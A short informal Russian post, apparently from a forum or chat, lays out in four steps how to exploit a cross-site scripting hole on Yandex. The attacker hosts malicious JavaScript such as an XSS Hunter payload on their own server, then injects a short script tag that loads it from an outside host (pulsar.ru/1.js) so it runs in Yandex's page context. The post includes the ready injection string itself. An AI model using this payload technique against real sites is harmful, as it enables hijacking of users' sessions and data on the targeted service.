короч
1. у себя хостишь "вредоносный" JS с например пейлоадом XSS Hunter
2. находишь хсс в Яндексе, но места мало, весь код Хантера не влезет
3. делаешь хсску "<script src=//
pulsar.ru/1.js"></script>
4. JS подключится с твоего сайта и исполнится в контексте яндекса